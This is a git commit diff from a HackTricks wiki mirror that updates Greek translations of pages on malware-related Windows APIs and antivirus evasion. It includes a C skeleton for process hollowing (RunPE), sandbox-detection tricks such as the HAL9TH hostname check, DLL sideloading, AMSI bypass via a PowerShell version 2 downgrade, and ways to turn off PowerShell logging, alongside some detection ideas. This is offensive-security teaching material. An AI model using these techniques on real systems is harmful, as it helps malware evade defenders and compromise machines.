mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/reversing/common-api-used-in-malware.md', 'src/windows-
This commit is contained in:
parent
426fbc5d7a
commit
c8bc6ab154
@ -1,4 +1,4 @@
|
||||
# Κοινό API που χρησιμοποιείται σε κακόβουλο λογισμικό
|
||||
# Κοινές API που χρησιμοποιούνται σε κακόβουλο λογισμικό
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -92,10 +92,10 @@
|
||||
|
||||
Εκτέλεση μιας αυθαίρετης DLL μέσα σε άλλη διαδικασία
|
||||
|
||||
1. Εντοπίστε τη διαδικασία για να εισάγετε τη κακόβουλη DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||
1. Εντοπίστε τη διαδικασία για να εισάγετε την κακόβουλη DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||
2. Ανοίξτε τη διαδικασία: GetModuleHandle, GetProcAddress, OpenProcess
|
||||
3. Γράψτε τη διαδρομή στη DLL μέσα στη διαδικασία: VirtualAllocEx, WriteProcessMemory
|
||||
4. Δημιουργήστε ένα νήμα στη διαδικασία που θα φορτώσει τη κακόβουλη DLL: CreateRemoteThread, LoadLibrary
|
||||
3. Γράψτε τη διαδρομή προς την DLL μέσα στη διαδικασία: VirtualAllocEx, WriteProcessMemory
|
||||
4. Δημιουργήστε ένα νήμα στη διαδικασία που θα φορτώσει την κακόβουλη DLL: CreateRemoteThread, LoadLibrary
|
||||
|
||||
Άλλες συναρτήσεις που μπορείτε να χρησιμοποιήσετε: NTCreateThreadEx, RtlCreateUserThread
|
||||
|
||||
@ -111,29 +111,80 @@
|
||||
1. Βρείτε ένα στοχευμένο νήμα: CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
||||
2. Ανοίξτε το νήμα: OpenThread
|
||||
3. Αναστείλετε το νήμα: SuspendThread
|
||||
4. Γράψτε τη διαδρομή στη κακόβουλη DLL μέσα στη διαδικασία του θύματος: VirtualAllocEx, WriteProcessMemory
|
||||
4. Γράψτε τη διαδρομή προς την κακόβουλη DLL μέσα στη διαδικασία του θύματος: VirtualAllocEx, WriteProcessMemory
|
||||
5. Επαναφέρετε το νήμα φορτώνοντας τη βιβλιοθήκη: ResumeThread
|
||||
|
||||
### PE Injection
|
||||
|
||||
Portable Execution Injection: Το εκτελέσιμο θα γραφτεί στη μνήμη της διαδικασίας του θύματος και θα εκτελείται από εκεί.
|
||||
|
||||
### Process Hollowing
|
||||
### Process Hollowing (γνωστό και ως **RunPE**)
|
||||
|
||||
Το κακόβουλο λογισμικό θα αφαιρέσει τον νόμιμο κώδικα από τη μνήμη της διαδικασίας και θα φορτώσει ένα κακόβουλο δυαδικό αρχείο
|
||||
`Process Hollowing` είναι ένα από τα αγαπημένα **tricks αποφυγής άμυνας / εκτέλεσης** που χρησιμοποιούνται από κακόβουλο λογισμικό των Windows. Η ιδέα είναι να εκκινήσετε μια *νόμιμη* διαδικασία στην **ανασταλμένη** κατάσταση, να αφαιρέσετε (κενή) την αρχική της εικόνα από τη μνήμη και να αντιγράψετε μια **αυθαίρετη PE** στη θέση της. Όταν το κύριο νήμα τελικά επαναφέρεται, το κακόβουλο σημείο εισόδου εκτελείται υπό την κάλυψη ενός αξιόπιστου δυαδικού (συχνά υπογεγραμμένου από τη Microsoft).
|
||||
|
||||
1. Δημιουργήστε μια νέα διαδικασία: CreateProcess
|
||||
2. Αφαιρέστε τη μνήμη: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||
3. Γράψτε το κακόβουλο δυαδικό αρχείο στη μνήμη της διαδικασίας: VirtualAllocEc, WriteProcessMemory
|
||||
4. Ορίστε το σημείο εισόδου και εκτελέστε: SetThreadContext, ResumeThread
|
||||
Τυπική ροή εργασίας:
|
||||
|
||||
1. Δημιουργήστε έναν καλοήθη οικοδεσπότη (π.χ. `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **ανασταλμένο** ώστε να μην εκτελούνται ακόμη οδηγίες.
|
||||
```c
|
||||
STARTUPINFOA si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi;
|
||||
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
|
||||
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
||||
```
|
||||
2. Διαβάστε το κακόβουλο φορτίο στη μνήμη και αναλύστε τις κεφαλίδες PE του για να αποκτήσετε το `SizeOfImage`, τις ενότητες και το νέο `EntryPoint`.
|
||||
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – αφαιρέστε τη βάση της αρχικής εικόνας της ανασταλμένης διαδικασίας.
|
||||
4. **VirtualAllocEx** – δεσμεύστε μνήμη RWX του `SizeOfImage` μέσα στη απομακρυσμένη διαδικασία.
|
||||
5. **WriteProcessMemory** – αντιγράψτε πρώτα τις `Headers`, στη συνέχεια επαναλάβετε τις ενότητες αντιγράφοντας τα ακατέργαστα δεδομένα τους.
|
||||
6. **SetThreadContext** – διορθώστε την τιμή του `EAX/RAX` (`RCX` σε x64) ή `Rip` στη δομή του πλαισίου ώστε το `EIP` να δείχνει στο `EntryPoint` του φορτίου.
|
||||
7. **ResumeThread** – το νήμα συνεχίζει, εκτελώντας τον κώδικα που παρέχεται από τον επιτιθέμενο.
|
||||
|
||||
Ελάχιστο αποδεικτικό της έννοιας (x86) σκελετός:
|
||||
```c
|
||||
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
|
||||
// 1. create suspended process
|
||||
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
|
||||
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
|
||||
|
||||
// 2. read remote PEB to get ImageBaseAddress
|
||||
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
|
||||
GetThreadContext(pi.hThread,&ctx);
|
||||
PVOID baseAddr;
|
||||
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||||
|
||||
// 3. unmap original image & allocate new region at same base
|
||||
NtUnmapViewOfSection(pi.hProcess,baseAddr);
|
||||
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
|
||||
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
|
||||
// 4-5. copy headers & sections …
|
||||
// 6. write new image base into PEB and set Eip
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
|
||||
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
// 7. run!
|
||||
ResumeThread(pi.hThread);
|
||||
}
|
||||
```
|
||||
Practical notes observed in the **DarkCloud Stealer** campaign:
|
||||
|
||||
* Ο φορτωτής επέλεξε το `RegAsm.exe` (μέρος του .NET Framework) ως host – ένα υπογεγραμμένο δυαδικό αρχείο που είναι απίθανο να τραβήξει την προσοχή.
|
||||
* Ο αποκρυπτογραφημένος VB6 stealer (`holographies.exe`) *δεν* αποθηκεύεται στο δίσκο; υπάρχει μόνο μέσα στη διαδικασία που έχει αδειάσει, καθιστώντας τη στατική ανίχνευση πιο δύσκολη.
|
||||
* Ευαίσθητες συμβολοσειρές (regexes, paths, Telegram credentials) είναι **RC4-encrypted** ανά συμβολοσειρά και αποκρυπτογραφούνται μόνο κατά την εκτέλεση, περιπλέκοντας περαιτέρω την ανίχνευση μνήμης.
|
||||
|
||||
Detection ideas:
|
||||
* Ειδοποιήστε για διαδικασίες `CREATE_SUSPENDED` που δεν δημιουργούν ποτέ GUI/console παράθυρα πριν από την κατανομή μιας περιοχής μνήμης ως **RWX** (σπάνιο για καλοήθες κώδικα).
|
||||
* Αναζητήστε μια ακολουθία κλήσεων `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` σε διάφορες διαδικασίες.
|
||||
|
||||
## Hooking
|
||||
|
||||
- Ο **SSDT** (**System Service Descriptor Table**) δείχνει σε συναρτήσεις πυρήνα (ntoskrnl.exe) ή GUI driver (win32k.sys) ώστε οι διαδικασίες χρήστη να μπορούν να καλέσουν αυτές τις συναρτήσεις.
|
||||
- Ένα rootkit μπορεί να τροποποιήσει αυτούς τους δείκτες σε διευθύνσεις που ελέγχει
|
||||
- Ο **SSDT** (**System Service Descriptor Table**) δείχνει σε συναρτήσεις πυρήνα (ntoskrnl.exe) ή GUI driver (win32k.sys) ώστε οι διαδικασίες χρήστη να μπορούν να καλούν αυτές τις συναρτήσεις.
|
||||
- Ένα rootkit μπορεί να τροποποιήσει αυτούς τους δείκτες σε διευθύνσεις που ελέγχει.
|
||||
- **IRP** (**I/O Request Packets**) μεταφέρουν κομμάτια δεδομένων από ένα συστατικό σε άλλο. Σχεδόν τα πάντα στον πυρήνα χρησιμοποιούν IRPs και κάθε αντικείμενο συσκευής έχει τη δική του πίνακα συναρτήσεων που μπορεί να συνδεθεί: DKOM (Direct Kernel Object Manipulation)
|
||||
- Ο **IAT** (**Import Address Table**) είναι χρήσιμος για την επίλυση εξαρτήσεων. Είναι δυνατόν να συνδεθεί αυτός ο πίνακας προκειμένου να αναληφθεί ο κώδικας που θα κληθεί.
|
||||
- **EAT** (**Export Address Table**) Hooks. Αυτά τα hooks μπορούν να γίνουν από **userland**. Ο στόχος είναι να συνδεθούν οι εξαγόμενες συναρτήσεις από DLLs.
|
||||
- **Inline Hooks**: Αυτός ο τύπος είναι δύσκολος να επιτευχθεί. Αυτό περιλαμβάνει την τροποποίηση του κώδικα των συναρτήσεων αυτών καθαυτών. Ίσως βάζοντας ένα άλμα στην αρχή τους.
|
||||
- **Inline Hooks**: Αυτός ο τύπος είναι δύσκολος να επιτευχθεί. Αυτό περιλαμβάνει την τροποποίηση του κώδικα των συναρτήσεων αυτών. Ίσως βάζοντας ένα jump στην αρχή αυτού.
|
||||
|
||||
## References
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -33,17 +33,17 @@
|
||||
> [!TIP]
|
||||
> Ένας καλός τρόπος για να ελέγξετε την στατική ανίχνευση του Windows Defender είναι το [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Βασικά χωρίζει το αρχείο σε πολλαπλά τμήματα και στη συνέχεια ζητά από τον Defender να σαρώσει το καθένα ξεχωριστά, με αυτόν τον τρόπο, μπορεί να σας πει ακριβώς ποιες είναι οι επισημασμένες συμβολοσειρές ή bytes στο δυαδικό σας.
|
||||
|
||||
Σας προτείνω να δείτε αυτή τη [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) σχετικά με την πρακτική αποφυγή AV.
|
||||
Σας προτείνω να δείτε αυτήν την [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) σχετικά με την πρακτική αποφυγή AV.
|
||||
|
||||
### **Dynamic analysis**
|
||||
|
||||
Η δυναμική ανάλυση είναι όταν το AV εκτελεί το δυαδικό σας σε ένα sandbox και παρακολουθεί για κακόβουλη δραστηριότητα (π.χ. προσπαθώντας να αποκρυπτογραφήσει και να διαβάσει τους κωδικούς πρόσβασης του προγράμματος περιήγησης σας, εκτελώντας ένα minidump στο LSASS, κ.λπ.). Αυτό το μέρος μπορεί να είναι λίγο πιο δύσκολο να δουλέψετε, αλλά εδώ είναι μερικά πράγματα που μπορείτε να κάνετε για να παρακάμψετε τα sandbox.
|
||||
|
||||
- **Sleep before execution** Ανάλογα με το πώς έχει υλοποιηθεί, μπορεί να είναι ένας εξαιρετικός τρόπος για να παρακάμψετε την δυναμική ανάλυση του AV. Τα AV έχουν πολύ λίγο χρόνο για να σαρώσουν τα αρχεία ώστε να μην διακόψουν τη ροή εργασίας του χρήστη, οπότε η χρήση μεγάλων ύπνων μπορεί να διαταράξει την ανάλυση των δυαδικών. Το πρόβλημα είναι ότι πολλά sandbox AV μπορούν απλά να παραλείψουν τον ύπνο ανάλογα με το πώς έχει υλοποιηθεί.
|
||||
- **Sleep before execution** Ανάλογα με το πώς έχει υλοποιηθεί, μπορεί να είναι ένας εξαιρετικός τρόπος για να παρακάμψετε την δυναμική ανάλυση του AV. Τα AV έχουν πολύ λίγο χρόνο για να σαρώσουν τα αρχεία ώστε να μην διαταράξουν τη ροή εργασίας του χρήστη, οπότε η χρήση μεγάλων ύπνων μπορεί να διαταράξει την ανάλυση των δυαδικών. Το πρόβλημα είναι ότι πολλά sandbox AV μπορούν απλά να παραλείψουν τον ύπνο ανάλογα με το πώς έχει υλοποιηθεί.
|
||||
- **Checking machine's resources** Συνήθως, τα Sandbox έχουν πολύ λίγους πόρους για να δουλέψουν (π.χ. < 2GB RAM), αλλιώς θα μπορούσαν να επιβραδύνουν τη μηχανή του χρήστη. Μπορείτε επίσης να γίνετε πολύ δημιουργικοί εδώ, για παράδειγμα ελέγχοντας τη θερμοκρασία της CPU ή ακόμη και τις ταχύτητες των ανεμιστήρων, δεν θα έχει όλα υλοποιηθεί στο sandbox.
|
||||
- **Machine-specific checks** Αν θέλετε να στοχεύσετε έναν χρήστη του οποίου ο υπολογιστής είναι συνδεδεμένος στο domain "contoso.local", μπορείτε να κάνετε έναν έλεγχο στο domain του υπολογιστή για να δείτε αν ταιριάζει με αυτό που έχετε καθορίσει, αν δεν ταιριάζει, μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει.
|
||||
- **Machine-specific checks** Αν θέλετε να στοχεύσετε έναν χρήστη του οποίου ο σταθμός εργασίας είναι συνδεδεμένος στο domain "contoso.local", μπορείτε να κάνετε έναν έλεγχο στο domain του υπολογιστή για να δείτε αν ταιριάζει με αυτό που έχετε καθορίσει, αν δεν ταιριάζει, μπορείτε να κάνετε το πρόγραμμα σας να τερματιστεί.
|
||||
|
||||
Αποδεικνύεται ότι το όνομα υπολογιστή του Sandbox του Microsoft Defender είναι HAL9TH, οπότε μπορείτε να ελέγξετε το όνομα υπολογιστή στο κακόβουλο λογισμικό σας πριν από την έκρηξη, αν το όνομα ταιριάζει με το HAL9TH, σημαίνει ότι βρίσκεστε μέσα στο sandbox του defender, οπότε μπορείτε να κάνετε το πρόγραμμα σας να τερματίσει.
|
||||
Αποδεικνύεται ότι το όνομα υπολογιστή του Sandbox του Microsoft Defender είναι HAL9TH, οπότε μπορείτε να ελέγξετε το όνομα υπολογιστή στο κακόβουλο λογισμικό σας πριν από την έκρηξη, αν το όνομα ταιριάζει με το HAL9TH, σημαίνει ότι βρίσκεστε μέσα στο sandbox του defender, οπότε μπορείτε να κάνετε το πρόγραμμα σας να τερματιστεί.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>πηγή: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
@ -51,28 +51,28 @@
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev κανάλι</p></figcaption></figure>
|
||||
|
||||
Όπως έχουμε πει πριν σε αυτή την ανάρτηση, **δημόσια εργαλεία** θα **εντοπιστούν** τελικά, οπότε, θα πρέπει να ρωτήσετε τον εαυτό σας κάτι:
|
||||
Όπως έχουμε πει πριν σε αυτήν την ανάρτηση, **δημόσια εργαλεία** θα εν τέλει **ανιχνευθούν**, οπότε, θα πρέπει να ρωτήσετε τον εαυτό σας κάτι:
|
||||
|
||||
Για παράδειγμα, αν θέλετε να κάνετε dump LSASS, **χρειάζεστε πραγματικά να χρησιμοποιήσετε το mimikatz**; Ή θα μπορούσατε να χρησιμοποιήσετε ένα διαφορετικό έργο που είναι λιγότερο γνωστό και επίσης κάνει dump LSASS.
|
||||
|
||||
Η σωστή απάντηση είναι πιθανώς η δεύτερη. Παίρνοντας το mimikatz ως παράδειγμα, είναι πιθανώς ένα από τα πιο επισημασμένα κομμάτια κακόβουλου λογισμικού από τα AV και EDRs, ενώ το έργο αυτό είναι πολύ ωραίο, είναι επίσης ένας εφιάλτης να δουλέψετε με αυτό για να παρακάμψετε τα AV, οπότε απλά αναζητήστε εναλλακτικές για αυτό που προσπαθείτε να πετύχετε.
|
||||
Η σωστή απάντηση είναι πιθανώς η δεύτερη. Παίρνοντας το mimikatz ως παράδειγμα, είναι πιθανώς ένα από τα πιο, αν όχι το πιο, επισημασμένα κομμάτια κακόβουλου λογισμικού από τα AV και EDRs, ενώ το έργο αυτό είναι πολύ ωραίο, είναι επίσης ένας εφιάλτης να δουλέψετε με αυτό για να παρακάμψετε τα AV, οπότε απλά αναζητήστε εναλλακτικές για αυτό που προσπαθείτε να πετύχετε.
|
||||
|
||||
> [!TIP]
|
||||
> Όταν τροποποιείτε τα payload σας για αποφυγή, βεβαιωθείτε ότι έχετε **απενεργοποιήσει την αυτόματη υποβολή δειγμάτων** στον defender, και παρακαλώ, σοβαρά, **ΜΗΝ ΑΝΕΒΑΖΕΤΕ ΣΤΟ VIRUSTOTAL** αν ο στόχος σας είναι να επιτύχετε αποφυγή μακροπρόθεσμα. Αν θέλετε να ελέγξετε αν το payload σας ανιχνεύεται από ένα συγκεκριμένο AV, εγκαταστήστε το σε μια VM, προσπαθήστε να απενεργοποιήσετε την αυτόματη υποβολή δειγμάτων, και δοκιμάστε το εκεί μέχρι να είστε ικανοποιημένοι με το αποτέλεσμα.
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Όποτε είναι δυνατόν, πάντα **προτιμήστε να χρησιμοποιείτε DLLs για αποφυγή**, από την εμπειρία μου, τα αρχεία DLL είναι συνήθως **πολύ λιγότερο ανιχνεύσιμα** και αναλυόμενα, οπότε είναι ένα πολύ απλό κόλπο για να αποφύγετε την ανίχνευση σε ορισμένες περιπτώσεις (αν το payload σας έχει κάποιον τρόπο να εκτελείται ως DLL φυσικά).
|
||||
Όποτε είναι δυνατόν, πάντα **προτιμήστε τη χρήση DLLs για αποφυγή**, από την εμπειρία μου, τα αρχεία DLL είναι συνήθως **πολύ λιγότερο ανιχνεύσιμα** και αναλυόμενα, οπότε είναι ένα πολύ απλό κόλπο για να αποφύγετε την ανίχνευση σε ορισμένες περιπτώσεις (αν το payload σας έχει κάποιον τρόπο να εκτελείται ως DLL φυσικά).
|
||||
|
||||
Όπως μπορούμε να δούμε σε αυτή την εικόνα, ένα DLL Payload από το Havoc έχει ποσοστό ανίχνευσης 4/26 στο antiscan.me, ενώ το EXE payload έχει ποσοστό ανίχνευσης 7/26.
|
||||
Όπως μπορούμε να δούμε σε αυτήν την εικόνα, ένα DLL Payload από το Havoc έχει ποσοστό ανίχνευσης 4/26 στο antiscan.me, ενώ το EXE payload έχει ποσοστό ανίχνευσης 7/26.
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>σύγκριση του κανονικού Havoc EXE payload με ένα κανονικό Havoc DLL</p></figcaption></figure>
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>σύγκριση του κανονικού Havoc EXE payload με ένα κανονικό Havoc DLL στο antiscan.me</p></figcaption></figure>
|
||||
|
||||
Τώρα θα δείξουμε μερικά κόλπα που μπορείτε να χρησιμοποιήσετε με αρχεία DLL για να είστε πολύ πιο διακριτικοί.
|
||||
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**DLL Sideloading** εκμεταλλεύεται τη σειρά αναζήτησης DLL που χρησιμοποιείται από τον φορτωτή τοποθετώντας τόσο την εφαρμογή του θύματος όσο και τα κακόβουλα payloads δίπλα-δίπλα.
|
||||
**DLL Sideloading** εκμεταλλεύεται τη σειρά αναζήτησης DLL που χρησιμοποιείται από τον φορτωτή τοποθετώντας τόσο την εφαρμογή του θύματος όσο και τα κακόβουλα payload(s) δίπλα-δίπλα.
|
||||
|
||||
Μπορείτε να ελέγξετε για προγράμματα που είναι ευάλωτα στο DLL Sideloading χρησιμοποιώντας το [Siofra](https://github.com/Cybereason/siofra) και το παρακάτω script powershell:
|
||||
```bash
|
||||
@ -83,7 +83,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
```
|
||||
Αυτή η εντολή θα εξάγει τη λίστα των προγραμμάτων που είναι ευάλωτα σε DLL hijacking μέσα στον φάκελο "C:\Program Files\\" και τα αρχεία DLL που προσπαθούν να φορτώσουν.
|
||||
|
||||
Συνιστώ ανεπιφύλακτα να **εξερευνήσετε τα προγράμματα που είναι ευάλωτα σε DLL Hijackable/Sideloadable μόνοι σας**, αυτή η τεχνική είναι αρκετά διακριτική αν γίνει σωστά, αλλά αν χρησιμοποιήσετε δημόσια γνωστά προγράμματα Sideloadable DLL, μπορεί να σας πιάσουν εύκολα.
|
||||
Συνιστώ ανεπιφύλακτα να **εξερευνήσετε τα προγράμματα που είναι επιρρεπή σε DLL Hijackable/Sideloadable μόνοι σας**, αυτή η τεχνική είναι αρκετά διακριτική αν γίνει σωστά, αλλά αν χρησιμοποιήσετε δημόσια γνωστά προγράμματα Sideloadable DLL, μπορεί να σας πιάσουν εύκολα.
|
||||
|
||||
Απλά τοποθετώντας μια κακόβουλη DLL με το όνομα που περιμένει να φορτώσει ένα πρόγραμμα, δεν θα φορτώσει το payload σας, καθώς το πρόγραμμα περιμένει κάποιες συγκεκριμένες λειτουργίες μέσα σε αυτή τη DLL. Για να διορθώσουμε αυτό το ζήτημα, θα χρησιμοποιήσουμε μια άλλη τεχνική που ονομάζεται **DLL Proxying/Forwarding**.
|
||||
|
||||
@ -106,12 +106,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
```
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Και ο κώδικας μας (κωδικοποιημένος με [SGN](https://github.com/EgeBalci/sgn)) και η proxy DLL έχουν ποσοστό ανίχνευσης 0/26 στο [antiscan.me](https://antiscan.me)! Θα το χαρακτήριζα επιτυχία.
|
||||
Και ο κώδικας μας (κωδικοποιημένος με [SGN](https://github.com/EgeBalci/sgn)) και η DLL proxy έχουν ποσοστό ανίχνευσης 0/26 στο [antiscan.me](https://antiscan.me)! Θα το χαρακτήριζα επιτυχία.
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Σας **συνιστώ ανεπιφύλακτα** να παρακολουθήσετε το [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) σχετικά με το DLL Sideloading και επίσης το [βίντεο του ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) για να μάθετε περισσότερα σχετικά με όσα έχουμε συζητήσει πιο αναλυτικά.
|
||||
> Σας **συνιστώ έντονα** να παρακολουθήσετε το [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) σχετικά με το DLL Sideloading και επίσης το [βίντεο του ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) για να μάθετε περισσότερα σχετικά με όσα έχουμε συζητήσει πιο αναλυτικά.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
@ -131,7 +131,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
|
||||
## AMSI (Διεπαφή Σάρωσης Κακόβουλου Λογισμικού)
|
||||
|
||||
Η AMSI δημιουργήθηκε για να αποτρέψει το "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Αρχικά, οι AV ήταν ικανοί να σαρώσουν μόνο **αρχεία στον δίσκο**, οπότε αν μπορούσατε με κάποιο τρόπο να εκτελέσετε payloads **άμεσα στη μνήμη**, ο AV δεν μπορούσε να κάνει τίποτα για να το αποτρέψει, καθώς δεν είχε αρκετή ορατότητα.
|
||||
Η AMSI δημιουργήθηκε για να αποτρέψει το "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Αρχικά, οι AVs ήταν ικανοί να σαρώνουν μόνο **αρχεία στον δίσκο**, οπότε αν μπορούσατε με κάποιον τρόπο να εκτελέσετε payloads **άμεσα στη μνήμη**, ο AV δεν μπορούσε να κάνει τίποτα για να το αποτρέψει, καθώς δεν είχε αρκετή ορατότητα.
|
||||
|
||||
Η δυνατότητα AMSI είναι ενσωματωμένη σε αυτά τα στοιχεία των Windows.
|
||||
|
||||
@ -202,14 +202,14 @@ This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangv
|
||||
|
||||
**Remove the detected signature**
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως το **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** και το **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** για να αφαιρέσετε την ανιχνευθείσα υπογραφή AMSI από τη μνήμη της τρέχουσας διαδικασίας. Αυτό το εργαλείο λειτουργεί σαρώνοντας τη μνήμη της τρέχουσας διαδικασίας για την υπογραφή AMSI και στη συνέχεια την αντικαθιστά με οδηγίες NOP, αφαιρώντας την αποτελεσματικά από τη μνήμη.
|
||||
Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** και **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** για να αφαιρέσετε την ανιχνευθείσα υπογραφή AMSI από τη μνήμη της τρέχουσας διαδικασίας. Αυτό το εργαλείο λειτουργεί σαρώνοντας τη μνήμη της τρέχουσας διαδικασίας για την υπογραφή AMSI και στη συνέχεια την αντικαθιστά με οδηγίες NOP, αφαιρώντας την αποτελεσματικά από τη μνήμη.
|
||||
|
||||
**AV/EDR products that uses AMSI**
|
||||
|
||||
Μπορείτε να βρείτε μια λίστα με προϊόντα AV/EDR που χρησιμοποιούν AMSI στο **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
|
||||
**Use Powershell version 2**
|
||||
Εάν χρησιμοποιείτε την έκδοση 2 του PowerShell, το AMSI δεν θα φορτωθεί, οπότε μπορείτε να εκτελέσετε τα σενάριά σας χωρίς να σαρωθείτε από το AMSI. Μπορείτε να το κάνετε αυτό:
|
||||
If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
@ -219,31 +219,65 @@ powershell.exe -version 2
|
||||
|
||||
Για να παρακάμψετε την καταγραφή PowerShell, μπορείτε να χρησιμοποιήσετε τις παρακάτω τεχνικές:
|
||||
|
||||
- **Απενεργοποίηση της καταγραφής PowerShell και της καταγραφής μονάδας**: Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) για αυτό το σκοπό.
|
||||
- **Απενεργοποίηση της καταγραφής μεταγραφής και μονάδας PowerShell**: Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) για αυτό το σκοπό.
|
||||
- **Χρήση της έκδοσης 2 του PowerShell**: Εάν χρησιμοποιήσετε την έκδοση 2 του PowerShell, το AMSI δεν θα φορτωθεί, οπότε μπορείτε να εκτελέσετε τα σενάριά σας χωρίς να σαρωθούν από το AMSI. Μπορείτε να το κάνετε αυτό: `powershell.exe -version 2`
|
||||
- **Χρήση μιας μη διαχειριζόμενης συνεδρίας PowerShell**: Χρησιμοποιήστε [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) για να δημιουργήσετε ένα PowerShell χωρίς άμυνες (αυτό είναι που χρησιμοποιεί το `powerpick` από το Cobalt Strike).
|
||||
|
||||
## Obfuscation
|
||||
|
||||
> [!TIP]
|
||||
> Πολλές τεχνικές απόκρυψης βασίζονται στην κρυπτογράφηση δεδομένων, η οποία θα αυξήσει την εντροπία του δυαδικού αρχείου, διευκολύνοντας έτσι την ανίχνευσή του από τα AV και EDR. Να είστε προσεκτικοί με αυτό και ίσως να εφαρμόσετε κρυπτογράφηση μόνο σε συγκεκριμένα τμήματα του κώδικά σας που είναι ευαίσθητα ή χρειάζονται απόκρυψη.
|
||||
> Πολλές τεχνικές απόκρυψης βασίζονται στην κρυπτογράφηση δεδομένων, γεγονός που θα αυξήσει την εντροπία του δυαδικού αρχείου, διευκολύνοντας την ανίχνευσή του από AVs και EDRs. Να είστε προσεκτικοί με αυτό και ίσως να εφαρμόσετε κρυπτογράφηση μόνο σε συγκεκριμένα τμήματα του κώδικά σας που είναι ευαίσθητα ή χρειάζονται απόκρυψη.
|
||||
|
||||
Υπάρχουν αρκετά εργαλεία που μπορούν να χρησιμοποιηθούν για να **αποκρύψουν τον κώδικα C# σε καθαρό κείμενο**, να δημιουργήσουν **πρότυπα μεταπρογραμματισμού** για τη σύνθεση δυαδικών αρχείων ή να **αποκρύψουν τα συντεθειμένα δυαδικά αρχεία** όπως:
|
||||
